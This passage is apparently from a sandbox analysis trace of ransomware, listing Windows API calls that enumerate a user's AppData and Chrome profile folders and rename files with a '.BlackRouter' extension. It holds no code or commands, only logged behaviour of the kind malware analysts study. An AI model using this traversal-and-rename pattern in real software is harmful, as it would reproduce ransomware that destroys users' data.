lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x2e30 [0044.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc12b6b90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2e40)) returned 1 [0044.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.blackrouter")) returned 1 [0044.727] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.727] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.728] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.728] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.734] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.734] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.735] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.740] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.740] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.741] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.746] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.746] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.747] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.214] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.214] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.251] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.252] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.285] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.285] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.286] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.286] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.292] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.292] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.293] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.293] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.299] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.299] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.300] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.300] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.402] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x2b2e9 [0045.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81c321d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81c321d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc19dad90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2b2f0)) returned 1 [0045.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.blackrouter")) returned 1 [0045.491] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.491] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.493] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.493] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.499] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.500] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.500] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.500] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.701] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x0 [0045.702] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc1c16230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0045.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log.blackrouter")) returned 1 [0045.705] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.705] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.706] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.706] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.969] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x156 [0045.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc1e9d990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0045.971] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.blackrouter")) returned 1 [0045.973] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.973] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.974] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0045.974] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.221] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x4ad [0046.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc21250f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0046.237] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.blackrouter")) returned 1 [0046.239] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.239] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.240] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.240] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.505] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.505] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.548] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.548] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.600] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.600] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.603] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.603] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.696] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5c [0046.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc259ba30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0046.699] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.blackrouter")) returned 1 [0046.700] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5f [0046.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc259ba30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0046.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.blackrouter")) returned 1 [0046.706] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xd2c [0046.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc25c1b90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0046.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.blackrouter")) returned 1 [0046.727] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xa0 [0046.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc25e7cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0046.731] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.blackrouter")) returned 1 [0046.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.BAK~", 